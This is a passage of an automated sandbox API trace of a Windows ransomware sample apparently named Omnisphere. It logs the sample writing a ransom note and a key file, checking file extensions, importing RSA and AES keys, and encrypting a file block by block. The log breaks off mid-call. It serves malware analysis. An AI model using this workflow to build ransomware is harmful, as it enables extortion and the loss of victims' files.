[0128.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.123] WriteFile (in: hFile=0x288, lpBuffer=0x1704010*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1704010*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.123] CloseHandle (hObject=0x288) returned 1 [0128.123] GetProcessHeap () returned 0x1600000 [0128.123] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fca50 | out: hHeap=0x1600000) returned 1 [0128.123] GetProcessHeap () returned 0x1600000 [0128.124] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.124] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.124] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.124] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.124] CloseHandle (hObject=0x288) returned 1 [0128.124] GetProcessHeap () returned 0x1600000 [0128.124] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.124] GetProcessHeap () returned 0x1600000 [0128.124] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.124] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cba52e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x65cba52e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65cba52e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="80d13f95c2c02af9.automaticDestinations-ms", cAlternateFileName="80D13F~1.AUT")) returned 1 [0128.125] GetProcessHeap () returned 0x1600000 [0128.125] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.125] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="80d13f95c2c02af9.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms" [0128.125] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\80d13f95c2c02af9.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\80d13f95c2c02af9.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.125] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.126] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.126] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.128] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.128] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.128] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.128] CloseHandle (hObject=0x3c0) returned 1 [0128.128] GetTickCount () returned 0x115ff7b [0128.128] GetTickCount () returned 0x115ff7b [0128.128] GetTickCount () returned 0x115ff7b [0128.128] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.129] GetTickCount () returned 0x115ff7b [0128.130] GetTickCount () returned 0x115ff7b [0128.130] GetTickCount () returned 0x115ff7b [0128.130] GetTickCount () returned 0x115ff7b [0128.130] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16682c8) returned 1 [0128.130] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0128.130] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.131] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.131] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0128.131] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.131] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.131] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668460) returned 1 [0128.132] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396e8) returned 1 [0128.132] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.132] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.133] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.134] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.135] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.136] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 